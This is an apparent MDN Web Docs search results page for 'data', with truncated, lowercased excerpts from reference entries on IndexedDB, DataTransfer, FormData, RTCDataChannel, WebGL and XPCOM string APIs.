the close() method of the idbdatabase interface returns immediately and closes the connection in a separate thread.
... syntax idbdatabase.close(); example // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // opening a database.
... // create event handlers for both success and failure of dbopenrequest.onerror = function(event) { note.innerhtml += "<li>error loading database.</li>"; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += "<li>database initialised.</li>"; // store the result of opening the database in the db variable.
...And 5 more matches
IDBDatabase.name - Web APIs
WebAPIIDBDatabasename
the name read-only property of the idbdatabase interface is a domstring that contains the name of the connected database.
... syntax var dbname = idbdatabase.name; value a domstring containing the name of the connected database.
... example this example shows a database connection being opened, the resulting idbdatabase object being stored in a db variable, and the name property then being logged.
...And 5 more matches
IDBDatabase.onversionchange - Web APIs
the onversionchange event handler of the idbdatabase interface handles the versionchange event, fired when a database structure change (idbopendbrequest.onupgradeneeded event or idbfactory.deletedatabase) was requested elsewhere (most probably in another window/tab on the same computer).
... syntax idbdatabase.onversionchange = function(event) { ...
... } example this example shows an idbopendbrequest.onupgradeneeded block that creates a new object store; it also includes onerror and onabort functions to handle non-success cases, and an onversionchange function to notify when a database structure change has occurred.
...And 5 more matches
IDBDatabase.version - Web APIs
the version property of the idbdatabase interface is a 64-bit integer that contains the version of the connected database.
... when a database is first created, this attribute is an empty string.
... syntax var myinteger = idbdatabase.version; value an integer containing the version of the connected database.
...And 5 more matches
databases - Web APIs
the databases method of the idbfactory interface returns a list represening all the available databases, including their names and versions.
... syntax const promise = indexeddb.databases() parameters the method does not take in any parameters.
... name the database name.
...And 5 more matches
PushEvent.data - Web APIs
WebAPIPushEventdata
the data read-only property of the pushevent interface returns a reference to a pushmessagedata object containing data sent to the pushsubscription.
... syntax var mypushdata = pushevent.data; value a pushmessagedata object.
... examples the following example takes data from a pushevent and displays it on all of the service workers' clients.
...And 5 more matches
RTCDataChannel.bufferedAmount - Web APIs
the read-only rtcdatachannel property bufferedamount returns the number of bytes of data currently queued to be sent over the data channel.
...this only includes data buffered by the user agent itself; it doesn't include any framing overhead or buffering done by the operating system or network hardware.
... the user agent may implement the process of actually sending data in any way it chooses; this may be done periodically during the event loop or truly asynchronously.
...And 5 more matches
RTCDataChannelEvent - Web APIs
the rtcdatachannelevent() constructor returns a new rtcdatachannelevent object, which represents a datachannel event.
... these events sent to an rtcpeerconnection when its remote peer is asking to open an rtcdatachannel between the two peers.
... you will rarely if ever construct an rtcdatachannelevent by hand; instead, the webrtc layer will generate and deliver them to you at the appropriate time.
...And 5 more matches
<metadata> - SVG: Scalable Vector Graphics
WebSVGElementmetadata
the <metadata> svg element adds metadata to svg content.
... metadata is structured information about data.
... the contents of <metadata> should be elements from other xml namespaces such as rdf, foaf, etc.
...And 5 more matches
Post data to window - Archive of obsolete content
this offers examples of sending post data to the server and displaying the server response.
... preprocessing post data the apostdata argument of the (global) loaduri(), opendialog(), and (tab)browser.loaduriwithflags() methods expects the post data in the form of an nsiinputstream (because they eventually call nsiwebnavigation.loaduri()) while post data can be created using nsimimeinputstream.
... most of the time, post data starts as a data string in the form of "name1=data1&name2=data2&...", so you must convert it before passing the data to one of the methods.
...And 4 more matches
Writing textual data - Archive of obsolete content
this article describes how to write textual data to streams, files and sockets in an internationalization-aware way.
... when writing textual data to an output stream or to a file, you need to pick a character encoding.
...passing 0 ensures that data will be immediately written to the underlying stream; however, for better perfomance you should pass a value like 4096 instead.
...And 4 more matches
nsIFaviconDataCallback
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void oncomplete(in nsiuri auri, in unsigned long adatalen, [const,array,size_is(adatalen)] in octet adata, in autf8string amimetype); methods oncomplete() called when the required favicon's information is available.
...for some method we could not know the favicon's data (it could just be too expensive to get it, or the method does not require we actually have any data).
... it's up to the caller to check adatalen > 0 before using any data-related information like mime-type or data itself.
...And 4 more matches
NS_CStringGetData
« xpcom api reference summary the ns_cstringgetdata function gives the caller read access to the string's internal buffer.
... #include "nsstringapi.h" pruint32 ns_cstringgetdata( const nsacstring& astring, const char** adata, prbool* aterminated = nsnull ); parameters astring [in] a nsacstring instance to inspect.
... adata [out] a const pointer to the string's internal buffer.
...And 4 more matches
NS_CStringGetMutableData
« xpcom api reference summary the ns_cstringgetmutabledata function gives the caller write access to the string's internal buffer.
... #include "nsstringapi.h" pruint32 ns_cstringgetmutabledata( nsacstring& astring, pruint32 adatalength, char** adata ); parameters astring [in] a nsacstring instance to modify.
... adatalength [in] the number of characters to resize the string's internal buffer to or pr_uint32_max to return the buffer as-is.
...And 4 more matches
AnalyserNode.getByteFrequencyData() - Web APIs
the getbytefrequencydata() method of the analysernode interface copies the current frequency data into a uint8array (unsigned byte array) passed into it.
... the frequency data is composed of integers on a scale from 0 to 255.
... syntax var audioctx = new audiocontext(); var analyser = audioctx.createanalyser(); var dataarray = new uint8array(analyser.frequencybincount); // uint8array should be the same length as the frequencybincount void analyser.getbytefrequencydata(dataarray); // fill the uint8array with data returned from getbytefrequencydata() parameters array the uint8array that the frequency domain data will be copied to.
...And 4 more matches
AnalyserNode.getFloatTimeDomainData() - Web APIs
the getfloattimedomaindata() method of the analysernode interface copies the current waveform, or time-domain, data into a float32array array passed into it.
... syntax var audioctx = new audiocontext(); var analyser = audioctx.createanalyser(); var dataarray = new float32array(analyser.fftsize); // float32array needs to be the same length as the fftsize analyser.getfloattimedomaindata(dataarray); // fill the float32array with data returned from getfloattimedomaindata() parameters array the float32array that the time domain data will be copied to.
... example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input.
...And 4 more matches
BluetoothAdvertisingData - Web APIs
the bluetoothdevice interface of the web bluetooth api provides advertising data about a particular bluetooth device.
... interface interface bluetoothadvertisingdata { readonly attribute unsigned short?
...rssi; readonly attribute map manufacturerdata; readonly attribute map servicedata; }; properties bluetoothadvertisingdata.appearance read only returns one of the values defined by the org.bluetooth.characteristic.gap.appearance characteristic.
...And 4 more matches
DataTransfer.effectAllowed - Web APIs
the datatransfer.effectallowed property specifies the effect that is allowed for a drag operation.
... the copy operation is used to indicate that the data being dragged will be copied from its present location to the drop location.
... the move operation is used to indicate that the data being dragged will be moved, and the link operation is used to indicate that some form of relationship or connection will be created between the source and drop locations.
...And 4 more matches
DataTransfer.items - Web APIs
the read-only datatransfer property items property is a list of the data transfer items in a drag operation.
... syntax itemlist = datatransfer.items; return value a datatransferitemlist object containing datatransferitem objects representing the items being dragged in a drag operation, one list item for each object being dragged.
... if the drag operation had no data, the list is empty.
...And 4 more matches
DataTransferItemList.length - Web APIs
the read-only length property of the datatransferitemlist interface returns the number of items currently in the drag item list.
... syntax length = datatransferitemlist.length; value the number of drag data items in the list, or 0 if the list is empty or disabled.
... the drag item list is considered to be disabled if the item list's datatransfer object is not associated with a drag data store.
...And 4 more matches
DataTransferItemList.remove() - Web APIs
the datatransferitemlist.remove() method removes the datatransferitem at the specified index from the list.
... syntax datatransferitemlist.remove(index); parameters index the zero-based index number of the item in the drag data list to remove.
... exceptions invalidstateerror the drag data store is not in read/write mode, so the item can't be removed.
...And 4 more matches
FormData.append() - Web APIs
WebAPIFormDataappend
the append() method of the formdata interface appends a new value onto an existing key inside a formdata object, or adds the key if it does not already exist.
... the difference between formdata.set and append() is that if the specified key already exists, formdata.set will overwrite all existing values with the new one, whereas append() will append the new value onto the end of the existing set of values.
... syntax there are two versions of this method: a two and a three parameter version: formdata.append(name, value); formdata.append(name, value, filename); parameters name the name of the field whose data is contained in value.
...And 4 more matches
FormDataEvent - Web APIs
the formdataevent interface represents a formdata event — such an event is fired on an htmlformelement object after the entry list representing the form's data is constructed.
... this happens when the form is submitted, but can also be triggered by the invocation of a formdata() constructor.
... this allows a formdata object to be quickly obtained in response to a formdata event firing, rather than needing to put it together yourself when you wish to submit form data via a method like xmlhttprequest (see using formdata objects).
...And 4 more matches
HTMLMediaElement: loadeddata event - Web APIs
the loadeddata event is fired when the frame at the current playback position of the media has finished loading; often the first frame.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onloadeddata specification html5 media note that this event will not fire in mobile/tablet devices if data-saver is on in browser settings.
... examples these examples add an event listener for the htmlmediaelement's loadeddata event, then post a message when that event handler has reacted to the event firing.
...And 4 more matches
IDBDatabase.deleteObjectStore() - Web APIs
the deleteobjectstore() method of the idbdatabase interface destroys the object store with the given name in the connected database, along with any indexes that reference it.
... as with idbdatabase.createobjectstore, this method can be called only within a versionchange transaction.
... transactioninactiveerror occurs if a request is made on a source database that doesn't exist (e.g.
...And 4 more matches
IDBDatabase.objectStoreNames - Web APIs
the objectstorenames read-only property of the idbdatabase interface is a domstringlist containing a list of the names of the object stores currently in the connected database.
... syntax var list[] = idbdatabase.objectstorenames; value a domstringlist containing a list of the names of the object stores currently in the connected database.
... example // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being opened successfully, or not dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...And 4 more matches
IDBDatabase.onabort - Web APIs
the onabort event handler of the idbdatabase interface handles the abort event, fired when a transaction is aborted and bubbles up to the connection object.
... syntax idbdatabase.onabort = function(event) { ...
... dbopenrequest.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function() { note.innerhtml += '<li>error opening database.</li>'; }; db.onabort = function() { note.innerhtml += '<li>database opening aborted!</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", ...
...And 4 more matches
IDBDatabase.onerror - Web APIs
the onerror event handler of the idbdatabase interface handles the error event, fired when a request returns an error and bubbles up to the connection object.
... syntax idbdatabase.onerror = function(event) { ...
... dbopenrequest.onupgradeneeded = function(event) { var db = this.result; db.onerror = function(event) { note.innerhtml += '<li>error opening database.</li>'; }; db.onabort = function(event) { note.innerhtml += '<li>database opening aborted!</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day",...
...And 4 more matches
ImageData() - Web APIs
the imagedata() constructor returns a newly instantiated imagedata object built from the typed array given and having the specified width and height.
... syntax new imagedata(array, width [, height]); new imagedata(width, height); parameters array optional a uint8clampedarray containing the underlying pixel representation of the image.
... return value a new imagedata object.
...And 4 more matches
InputEvent.dataTransfer - Web APIs
the datatransfer read-only property of the inputevent interface returns a datatransfer object containing information about richtext or plaintext data being added to or removed from editible content.
... syntax var datatransfer = inputevent.datatransfer value a datatransfer object.
... examples in the following simple example we've set up an event listener on the input event so that when any content is pasted into the contenteditable <p> element, its html source is retrieved via the inputevent.datatransfer.getdata() method and reported in the paragraph below the input.
...And 4 more matches
Microdata DOM API - Web APIs
microdata were implemented in some browsers for a long time.
... microdata becomes even more useful when scripts can use it to expose information to the user, for example offering it in a form that can be used by other applications.
... the document.getitems(typenames) method provides access to the top-level microdata items.
...And 4 more matches
PushMessageData - Web APIs
the pushmessagedata interface of the push api provides methods which let you retrieve the push data sent by a server in various formats.
... messages received through the push api are sent encrypted by push services and then automatically decrypted by browsers before they are made accessible through the methods of the pushmessagedata interface.
... methods pushmessagedata.arraybuffer() extracts the data as an arraybuffer object.
...And 4 more matches
RTCDataChannel.id - Web APIs
WebAPIRTCDataChannelid
the read-only rtcdatachannel property id returns an id number (between 0 and 65,534) which uniquely identifies the rtcdatachannel.
... this id is set at the time the data channel is created, either by the user agent (if rtcdatachannel.negotiated is false) or by the site or app script (if negotiated is true).
... each rtcpeerconnection can therefore have up to a theoretical maximum of 65,534 data channels on it, although the actual maximum may vary from browser to browser.
...And 4 more matches
RTCDataChannel.onbufferedamountlow - Web APIs
the rtcdatachannel.onbufferedamountlow property is an eventhandler which specifies a function the browser calls when the bufferedamountlow event is sent to the rtcdatachannel.
... this event, which is represented by a simple event object, is sent when the amount of data buffered to be sent falls to or below the threshold specified by the channel's bufferedamountlowthreshold.
... see buffering in using webrtc data channels to learn more about how to work with the data channel buffer.
...And 4 more matches
NPSavedData - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary block of instance information saved after the plug-in instance is deleted; can be returned to the plug-in to restore the data in future instances of the plug-in.
... syntax typedef struct _npsaveddata { int32 len; void* buf; } npsaveddata; fields the data structure has the following fields: len length in bytes of the buffer pointed to by buf; set by the plug-in.
... description the npsaveddata object contains a block of per-instance information that the browser saves after the instance is deleted.
...And 3 more matches
nsIDOMUserDataHandler
dom/interfaces/core/nsidomuserdatahandler.idlscriptable the callback function for the setuserdata method.
... 1.0 66 introduced gecko 1.5 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void handle(in unsigned short operation, in domstring key, in nsivariant data, in nsidomnode src, in nsidomnode dst); constants constant value description node_cloned 1 the node was cloned.
... methods handle() this method is a callback which will be called if a node with user data is being cloned, imported or adopted.
...And 3 more matches
NS_CStringCutData
« xpcom api reference summary the ns_cstringcutdata function removes a section of the string's internal buffer.
... #include "nsstringapi.h" nsresult ns_cstringcutdata( nsacstring& astring, pruint32 acutstart, pruint32 acutlength ); parameters astring [in] a nsacstring instance to be modified.
... return values the ns_cstringcutdata function returns ns_ok if successful.
...And 3 more matches
NS_StringCutData
« xpcom api reference summary the ns_stringcutdata function removes a section of the string's internal buffer.
... #include "nsstringapi.h" nsresult ns_stringcutdata( nsastring& astring, pruint32 acutstart, pruint32 acutlength ); parameters astring [in] a nsastring instance to be modified.
... return values the ns_stringcutdata function returns ns_ok if successful.
...And 3 more matches
NS_StringGetData
« xpcom api reference summary the ns_stringgetdata function gives the caller access to the string's internal buffer.
... #include "nsstringapi.h" pruint32 ns_stringgetdata( const nsastring& astring, const prunichar** adata, prbool* aterminated ); parameters astring [in] a nsastring instance to inspect.
... adata [out] a const pointer to the string's internal buffer.
...And 3 more matches
Body.formData() - Web APIs
WebAPIBodyformData
the formdata() method of the body mixin takes a response stream and reads it to completion.
... it returns a promise that resolves with a formdata object.
...if a user submits a form and a service worker intercepts the request, you could for example call formdata() on it to obtain a key-value map, modify some fields, then send the form onwards to the server (or use it locally).
...And 3 more matches
DOMUserData - Web APIs
domuserdata refers to application data.
...it is returned or used as an argument by node.setuserdata(), node.getuserdata(), used as the third argument to handle() on userdatahandler, and is used or returned by various domconfiguration methods.
... note that although it can be an object, in mozilla, it may be returned as a string or other type, if it was set as such a type (e.g., node.setuserdata() and node.getuserdata()).
...And 3 more matches
DataTransfer.dropEffect - Web APIs
the datatransfer.dropeffect property controls the feedback (typically visual) the user is given during a drag and drop operation.
... when the datatransfer object is created, dropeffect is set to a string value.
...in a dragend event, for instance, if the desired dropeffect is "move", then the data being dragged should be removed from the source.
...And 3 more matches
DataTransfer.setDragImage() - Web APIs
however, if a custom image is desired, the datatransfer.setdragimage() method can be used to set the custom image to be used.
... syntax void datatransfer.setdragimage(img | element, xoffset, yoffset); arguments img | element an image element element to use for the drag feedback image.
... if element is an img element, then set the drag data store bitmap to the element's image (at its intrinsic size); otherwise, set the drag data store bitmap to an image generated from the given element (the exact mechanism for doing so is not currently specified).
...And 3 more matches
DataTransferItem.getAsFile() - Web APIs
if the item is a file, the datatransferitem.getasfile() method returns the drag data item's file object.
... syntax file = datatransferitem.getasfile(); parameters none.
... return value file if the drag data item is a file, a file object is returned; otherwise null is returned.
...And 3 more matches
DataTransferItem.getAsString() - Web APIs
the datatransferitem.getasstring() method invokes the given callback with the drag data item's string data as the argument if the item's kind is a plain unicode string (i.e.
... syntax datatransferitem.getasstring(callback); parameters callback a callback function that has access to the data transfer item's string data.
... return value undefined callback the callback parameter is a callback function which accepts one parameter: domstring the drag data item's string data.
...And 3 more matches
DataTransferItem.kind - Web APIs
the read-only datatransferitem.kind property returns a datatransferitem representing the drag data item kind: some text or some file.
... syntax var itemkind = datatransferitem.kind; return value a domstring representing the drag data item's kind.
... it must be one of the following values: 'file' if the drag data item is a file.
...And 3 more matches
Document.createCDATASection() - Web APIs
createcdatasection() creates a new cdata section node, and returns it.
... syntax var cdatasectionnode = document.createcdatasection(data); cdatasectionnode is a cdata section node.
... data is a string containing the data to be added to the cdata section.
...And 3 more matches
DragEvent.dataTransfer - Web APIs
the dragevent.datatransfer property holds the drag operation's data (as a datatransfer object).
... syntax let data = dragevent.datatransfer; return value data a datatransfer object which contains the drag event's data.
... example this example illustrates accessing the drag and drop data within the dragend event handler.
...And 3 more matches
GlobalEventHandlers.onformdata - Web APIs
the onformdata property of the globaleventhandlers mixin is the eventhandler for processing formdata events, fired after the entry list representing the form's data is constructed.
... this happens when the form is submitted, but can also be triggered by the invocation of a formdata() constructor.
... onformdata is available on htmlformelement.
...And 3 more matches
HTMLMediaElement: loadedmetadata event - Web APIs
the loadedmetadata event is fired when the metadata has been loaded.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onloadedmetadata specification html5 media additional properties property type description mozchannels read only int the number of channels.
... examples these examples add an event listener for the htmlmediaelement's loadedmetadata event, then post a message when that event handler has reacted to the event firing.
...And 3 more matches
IDBDatabase: close event - Web APIs
the close event is fired on idbdatabase when the database connection is unexpectedly closed.
... this could happen, for example, if the underlying storage is removed or if the user clears the database in the browser's history preferences.
... note that it is not fired if the database connection is closed normally using idbdatabase.close().
...And 3 more matches
IDBDatabase.onclose - Web APIs
the onclose event handler of the idbdatabase interface handles the close event, which is fired when the database is unexpectedly closed.
... this can happen, for example, when the application is shut down or access to the disk the database is stored on is lost while the database is open.
... syntax idbdatabase.onclose = function(event) { ...
...And 3 more matches
MediaRecorder: dataavailable event - Web APIs
the mediarecorder interface's dataavailable event is fired when the mediarecorder delivers media data to your application for its use.
... bubbles no cancelable no interface blobevent event handler property ondataavailable for details of the all the possible reasons this event may raise, see the documentation for the event handler property: ondataavailable.
... examples using addeventlistener to listen for dataavailable events: ...
...And 3 more matches
MediaRecorder.requestData() - Web APIs
the mediarecorder.requestdata() method (part of the mediarecorder api) is used to raise a dataavailable event containing a blob object of the captured media as it was when the method was called.
... when the requestdata() method is invoked, the browser queues a task that runs the following steps: if mediarecorder.state is not "recording", raise a dom invalidstate error and terminate these steps.
... raise a dataavailable event containing a blob of the currently captured data (the blob is available under the event's data attribute.) create a new blob and place subsequently captured data into it.
...And 3 more matches
Metadata.modificationTime - Web APIs
the read-only modificationtime property of the metadata interface is a date object which specifies the date and time the file system entry (or the data referenced by the entry) was last modified.a file system entry is considered to have been modified if the metadata or the contents of the referenced file (or directory, or whatever other kind of file system entry might exist on the platform in use) has changed.
... syntax var modificationtime = metadata.modificationtime; value a date timestamp indicating when the file system entry was last changed.
...once that file has been found, its metadata is obtained and the file's modification timestamp year is compared to the current year.
...And 3 more matches
Metadata - Web APIs
WebAPIMetadata
the metadata interface is used by the file and directory entries api to contain information about a file system entry.
... this metadata includes the file's size and modification date and time.
... this interface isn't available through the global scope; instead, you obtain a metadata object describing a filesystementry using the method filesystementry.getmetadata().
...And 3 more matches
MutationObserverInit.characterData - Web APIs
the mutationobserverinit dictionary's optional characterdata property is used to specify whether or not to monitor the node or nodes being observed for changes to their textual contents.
... character data changes are detectable on any text node, including nodes based on the text, processinginstruction, and comment interfaces.
... syntax var options = { characterdata: true | false } value a boolean value indicating whether or not to call the observer's callback function when textual nodes' values change.
...And 3 more matches
MutationObserverInit.characterDataOldValue - Web APIs
the mutationobserverinit dictionary's optional characterdataoldvalue property is used to specify whether or not the mutationrecord.oldvalue property for dom mutations should be set to the previous value of text nodes which changed.
... if you set the mutationobserverinit.characterdata property to true but don't set characterdataoldvalue to true as well, the mutationrecord will not include information describing the prior state of the text node's contents.
... character data changes are detectable on any text node, including nodes based on the text, processinginstruction, and comment interfaces.
...And 3 more matches
PasswordCredential.additionalData - Web APIs
the additionaldata property of the passwordcredential interface takes one of a formdata instance, a urlsearchparams instance, or null.
... the data in the objects will be added to the request body and sent to the remote endpoint with the credentials.
... syntax passwordcredential.additionaldata = formdata formdata = passwordcredential.additionaldata passwordcredential.additionaldata = urlsearchparams ulrsearchparams = passwordcredential.additionaldata value one of a formdata instance, a urlsearchparams instance, or null.
...And 3 more matches
PushMessageData.json() - Web APIs
the json()method of the pushmessagedata interface extracts push message data by parsing it as a json string and returning the result.
... syntax var mydata = pushevent.data.json(); parameters none.
... returns the result of parsing push event data as json.
...And 3 more matches
RTCDataChannel.label - Web APIs
the read-only rtcdatachannel property label returns a domstring containing a name describing the data channel.
... a data channel's label is set when the channel is created by calling rtcpeerconnection.createdatachannel().
... syntax var name = adatachannel.label; value a string identifier assigned by the web site or app when the data channel was created, as specified when rtcpeerconnection.createdatachannel() was called to create the channel.
...And 3 more matches
RTCDataChannel.onclose - Web APIs
the rtcdatachannel.onclose property is an eventhandler which specifies a function to be called by the browser when the close event is received by the rtcdatachannel.
... this is a simple event which indicates that the data channel has closed down.
... syntax rtcdatachannel.onclose = function; value a function which the browser will call to handle the close event.
...And 3 more matches
RTCDataChannel.onerror - Web APIs
the rtcdatachannel.onerror property is an eventhandler which specifies a function to be called when the error event is received.
... when an error occurs on the data channel, the function receives as input an errorevent object describing the error which occurred.
... syntax rtcdatachannel.onerror = function; value a function which the browser will call to handle the error event when it occurs on the data channel.
...And 3 more matches
RTCPeerConnection.ondatachannel - Web APIs
the rtcpeerconnection.ondatachannel property is an eventhandler which specifies a function which is called when the datachannel event occurs on an rtcpeerconnection.
... this event, of type rtcdatachannelevent, is sent when an rtcdatachannel is added to the connection by the remote peer calling createdatachannel().
... at the time this event is received, the rtcdatachannel it indicates may not yet actually be open.
...And 3 more matches
UserDataHandler - Web APIs
summary when associating user data with a key on a node, node.setuserdata() can also accept, in its third argument, a handler which will be called when the object is cloned, imported, deleted, renamed, or adopted.
... per the specification, exceptions should not be thrown in a userdatahandler.
... in both document.importnode() and node.clonenode(), although user data is not copied over, the handler will be called.
...And 3 more matches
WebGL2RenderingContext.copyBufferSubData() - Web APIs
the webgl2renderingcontext.copybuffersubdata() method of the webgl 2 api copies part of the data of a buffer to another buffer.
... syntax void gl.copybuffersubdata(readtarget, writetarget, readoffset, writeoffset, size); parameters readtarget writetarget a glenum specifying the binding point (target) from whose data store should be read or written.
... possible values: gl.array_buffer: buffer containing vertex attributes, such as vertex coordinates, texture coordinate data, or vertex color data.
...And 3 more matches
WebGL2RenderingContext.getBufferSubData() - Web APIs
the webgl2renderingcontext.getbuffersubdata() method of the webgl 2 api reads data from a buffer binding point and writes them to an arraybuffer or sharedarraybuffer.
... syntax void gl.getbuffersubdata(target, srcbyteoffset, arraybufferview dstdata, optional dstoffset, optional length); parameters target a glenum specifying the binding point (target).
... possible values: gl.array_buffer: buffer containing vertex attributes, such as vertex coordinates, texture coordinate data, or vertex color data.
...And 3 more matches
<meta>: The Document-level Metadata element - HTML: Hypertext Markup Language
WebHTMLElementmeta
the html <meta> element represents metadata that cannot be represented by other html meta-related elements, like <base>, <link>, <script>, <style> or <title>.
... content categories metadata content.
... implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlmetaelement the type of metadata provided by the meta element can be one of the following: if the name attribute is set, the meta element provides document-level metadata, applying to the whole page.
...And 3 more matches
Save-Data - HTTP
the save-data header field is a boolean which, in requests, indicates the client's preference for reduced data usage.
... a value of on indicates explicit user opt-in into a reduced data usage mode on the client, and when communicated to origins allows them to deliver alternative content to reduce the data downloaded such as smaller image and video resources, different markup and styling, disabled polling and automatic updates, and so on.
... note: disabling http/2 server push (rfc 7540, section 8.2: server push) might be desirable too for reducing data downloads.
...And 3 more matches
XML data - Archive of obsolete content
this page contains an example of how you can use css with xml data.
... previous section: svg next section: xbl binding information: xml data xml (extensible markup language) is a general-purpose language for any kind of structured data.
... by default, your mozilla browser displays xml in a format very similar to the original data in the xml file.
...And 2 more matches
DTLS (Datagram Transport Layer Security) - MDN Web Docs Glossary: Definitions of Web-related terms
datagram transport layer security (dtls) is a protocol used to secure datagram-based communications.
...as a datagram protocol, dtls doesn't guarantee the order of message delivery, or even that messages will be delivered at all.
... however, dtls gains the benefits of datagram protocols, too; in particular, the lower overhead and reduced latency.
...And 2 more matches
Adding phishing protection data providers
installing a new data provider to install a data provider for phishing protection, it's necessary to set a series of preferences to provide details about the provider.
... each data provider has a unique id number.
... the data provider with the id number 0 is the default data provider shipped with firefox.
...And 2 more matches
Creating Custom Events That Can Pass Data
this page describes how to implement custom dom events that can be used to pass data.
...for example, if you want firefox to perform an action whenever something happens (i.e., something other than the standard mouse/keyboard events) and, depending on the data passed along with this event, you want firefox to react differently.
... note that starting with version 6, firefox supports dom level 3 customevent, which lets you dispatch custom events with arbitrary data from javascript.
...And 2 more matches
nsIDataSignatureVerifier
security/manager/ssl/public/nsidatasignatureverifier.idlscriptable an interface for verifying that a given string of data was signed by the private key matching the given public key.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview boolean verifydata(in acstring adata, in acstring asignature, in acstring apublickey); methods verifydata() verifies that the data matches the data that was used to generate the signature.
... boolean verifydata( in acstring adata, in acstring asignature, in acstring apublickey ); parameters adata the data to be tested.
...And 2 more matches
AnalyserNode.getByteTimeDomainData() - Web APIs
the getbytetimedomaindata() method of the analysernode interface copies the current waveform, or time-domain, data into a uint8array (unsigned byte array) passed into it.
... syntax const audioctx = new audiocontext(); const analyser = audioctx.createanalyser(); const dataarray = new uint8array(analyser.fftsize); // uint8array should be the same length as the fftsize analyser.getbytetimedomaindata(dataarray); // fill the uint8array with data returned from getbytetimedomaindata() parameters array the uint8array that the time domain data will be copied to.
... return value void | none example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input.
...And 2 more matches
AuthenticatorResponse.clientDataJSON - Web APIs
the clientdatajson property of the authenticatorresponse interface stores a json string in an arraybuffer, representing the client data that was passed to credentialscontainer.create() or credentialscontainer.get().
... syntax var arraybuffer = authenticatorattestationresponse.clientdatajson; var arraybuffer = authenticatorassertionresponse.clientdatajson; value an arraybuffer.
... properties after the clientdatajson object is converted from an arraybuffer to a javascript object, it will have the following properties: type a string which is either "webauthn.get" when an existing credential is retrieved or "webauthn.create" when a new credential is created.
...And 2 more matches
DataTransferItem.type - Web APIs
the read-only datatransferitem.type property returns the type (format) of the datatransferitem object representing the drag data item.
... syntax dataitem.type; return value a domstring representing the drag data item's type.
... function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.items; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html console.log("...
...And 2 more matches
DataTransferItem.webkitGetAsEntry() - Web APIs
if the item described by the datatransferitem is a file, webkitgetasentry() returns a filesystemfileentry or filesystemdirectoryentry representing it.
... syntax datatransferitem.webkitgetasentry(); parameters none.
...first, we prevent the dragover event from being handled by the default handler, so that our drop zone can receive the drop: dropzone.addeventlistener("dragover", function(event) { event.preventdefault(); }, false); the event handler that kicks everything off, of course, is the handler for the drop event: dropzone.addeventlistener("drop", function(event) { let items = event.datatransfer.items; event.preventdefault(); listing.innerhtml = ""; for (let i=0; i<items.length; i++) { let item = items[i].webkitgetasentry(); if (item) { scanfiles(item, listing); } } }, false); this fetches the list of datatransferitem objects representing the items dropped from event.datatransfer.items.
...And 2 more matches
ExtendableMessageEvent.data - Web APIs
the data read-only property of the extendablemessageevent interface returns the event's data.
... it can be any data type.
... syntax var mydata = extendablemessageevent.data; value any data type.
...And 2 more matches
FormData() - Web APIs
WebAPIFormDataFormData
the formdata() constructor creates a new formdata object.
... syntax var formdata = new formdata(form) parameters form optional an html <form> element — when specified, the formdata object will be populated with the form's current keys/values using the name property of each element for the keys and their submitted value for the values.
... example the following line creates an empty formdata object: var formdata = new formdata(); // currently empty you could add a key/value pair to this using formdata.append: formdata.append('username', 'chris'); or you can specify the optional form argument when creating the formdata object, to prepopulate it with values from the specified form: <form id="myform" name="myform"> <div> <label for="username">enter name:</label> <input type="text" id="username" name="username"> </div> <div> <label for="useracc">enter account number:</label> <input type="text" id="useracc" name="useracc"> </div> <div> <label for="userfile">upload file:</label> <input type="file" id="userfile" name="userfile"> </div> <input type="...
...And 2 more matches
FormData.set() - Web APIs
WebAPIFormDataset
the set() method of the formdata interface sets a new value for an existing key inside a formdata object, or adds the key/value if it does not already exist.
... the difference between set() and formdata.append is that if the specified key does already exist, set() will overwrite all existing values with the new one, whereas formdata.append will append the new value onto the end of the existing set of values.
... syntax there are two versions of this method: a two and a three parameter version: formdata.set(name, value); formdata.set(name, value, filename); parameters name the name of the field whose data is contained in value.
...And 2 more matches
FormDataEvent() - Web APIs
the formdataevent() constructor creates a new formdataevent object instance.
... syntax new formdataevent(type[, formeventinit]); values type a domstring representing the name of the event.
... formdata: a formdata object to pre-populate the formdataevent with.
...And 2 more matches
HTMLDataElement - Web APIs
the htmldataelement interface provides special properties (beyond the regular htmlelement interface it also has available to it by inheritance) for manipulating <data> elements.
